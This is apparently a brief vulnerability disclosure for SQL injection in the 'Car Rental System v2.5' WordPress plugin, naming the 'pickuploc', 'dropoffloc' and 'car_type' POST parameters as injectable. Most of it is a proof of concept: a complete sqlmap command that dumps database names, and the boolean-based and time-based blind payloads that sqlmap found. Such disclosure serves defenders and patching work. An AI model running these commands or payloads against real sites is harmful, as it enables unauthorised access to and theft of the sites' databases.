1. Description
An unescaped parameter was found in Car Rental System v2.5 (WP plugin). An attacker can exploit this vulnerability to read from the database.
The POST parameters 'pickuploc', 'dropoffloc', and 'car_type' are vulnerable.
2. Proof of concept
sqlmap -u "http://server/wp-car/" adata="pickuploc=2&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=" --dbs --threads=5 --random-agent
Parameter: pickuploc (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pickuploc=2 AND 3834=3834&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: pickuploc=2 AND SLEEP(5)&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=
The same is applicable for 'dropoffloc' and 'car_type' parameters
